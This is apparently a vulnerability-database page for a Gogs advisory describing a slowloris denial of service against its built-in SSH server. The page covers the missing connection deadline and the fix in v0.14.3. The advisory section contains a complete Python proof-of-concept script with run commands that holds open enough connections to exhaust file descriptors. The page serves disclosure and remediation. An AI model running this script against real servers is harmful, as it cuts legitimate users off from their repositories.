Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network attack, no credentials or user interaction required; sole impact is high availability loss via FD exhaustion; no confidentiality or integrity impact.
Primary rating from Vendor (https://github.com/gogs/gogs).
CVSS VectorVendor: https://github.com/gogs/gogs
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn.
An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures).
Vulnerability Details
In internal/ssh/ssh.go, the listen function contains an accept loop that spawns a goroutine for every incoming connection:
for {
conn, err := listener.Accept()
// ...
go func() {
// VULNERABILITY: No conn.SetDeadline() is called here
sConn, chans, reqs, err := ssh.NewServerConn(conn, config)
// ...
}()
}
The golang.org/x/crypto/ssh package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls conn.SetDeadline(), the call to NewServerConn eventually reaches io.ReadFull (inside readVersion()) and blocks forever on the kernel TCP socket waiting for the client to send the SSH-2.0-... banner.
Each stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS ulimit -n limits (accept4: too many open files), completely neutralizing the service.
Steps to Reproduce
1. Environment Setup: Ensure Gogs is configured to use the built-in Go SSH server in app.ini:
[server]
START_SSH_SERVER = true
SSH_PORT = 2222
SSH_LISTEN_PORT = 2222
2. The Exploit (PoC): Save the following Python script as slowloris-ssh.py. This script connects to the SSH port and intentionally stalls the handshake.
#!/usr/bin/env python3
import socket, sys, time
target_host = sys.argv[1]
target_port = int(sys.argv[2])
n = int(sys.argv[3])
sockets = []
print(f"[*] Starting SSH Slowloris on {target_host}:{target_port}...")
for i in range(n):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_host, target_port))
# VULNERABILITY EXPLOIT: Do NOT send the "SSH-2.0-..." banner.
sockets.append(s)
if i % 100 == 0:
print(f"[+] {i} stuck connections established")
except Exception as e:
print(f"[-] Stopped at {i} connections. Reason: {e}")
break
print(f"[+] Holding {len(sockets)} connections to starve the server...")
while True:
time.sleep(60)
3. Execution: Run the script against the target, ensuring the number of connections (n) exceeds the server's configured file descriptor limit (e.g., 1500 for default 1024 ulimit environments): python3 slowloris-ssh.py <target-ip> 2222 1500
4. Observe the Impact:
- Attempt to connect legitimately:
nc -v <target-ip> 2222. The connection will hang or be refused immediately. - Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as:
[clog] [file]: rename rotated file ...: no such file or directory accept4: too many open files
Impact
- Denial of Service: Legitimate developers cannot push, pull, or clone repositories via SSH.
POC:-
AnalysisAI
File descriptor exhaustion in the Gogs built-in Go SSH server allows unauthenticated remote attackers to render the SSH service completely unavailable. By opening a large number of TCP connections to the SSH port and withholding the SSH-2.0 protocol banner, an attacker forces Gogs to spawn unbounded goroutines that block indefinitely in golang.org/x/crypto/ssh.NewServerConn, consuming one file descriptor per connection. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires two specific conditions: (1) Gogs must be configured with `START_SSH_SERVER = true` and a reachable `SSH_LISTEN_PORT` in app.ini - this is a non-default configuration; Gogs installations that rely on system OpenSSH for SSH access are NOT affected. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is moderate-to-high for deployments that expose the built-in SSH server. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker discovers a Gogs instance with the built-in SSH server enabled on port 2222 (or any configured SSH port). Using the published Python PoC (`slowloris-ssh.py`), the attacker opens 1,500 TCP connections, each of which Gogs accepts and hands to a goroutine; the attacker sends no data on any socket, leaving Gogs blocked in `io.ReadFull` across 1,500 goroutines. … |
| Remediation | Upgrade to Gogs v0.14.3, which introduces a 15-second handshake deadline via `conn.SetDeadline(time.Now().Add(15 * time.Second))` before calling `NewServerConn`, and clears the deadline with `conn.SetDeadline(time.Time{})` after a successful handshake (PR #8335: https://github.com/gogs/gogs/pull/8335; commit 7da9cda314054501e1a7938a9c4d7896f331b884). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39067
GHSA-xp79-5mx3-jx52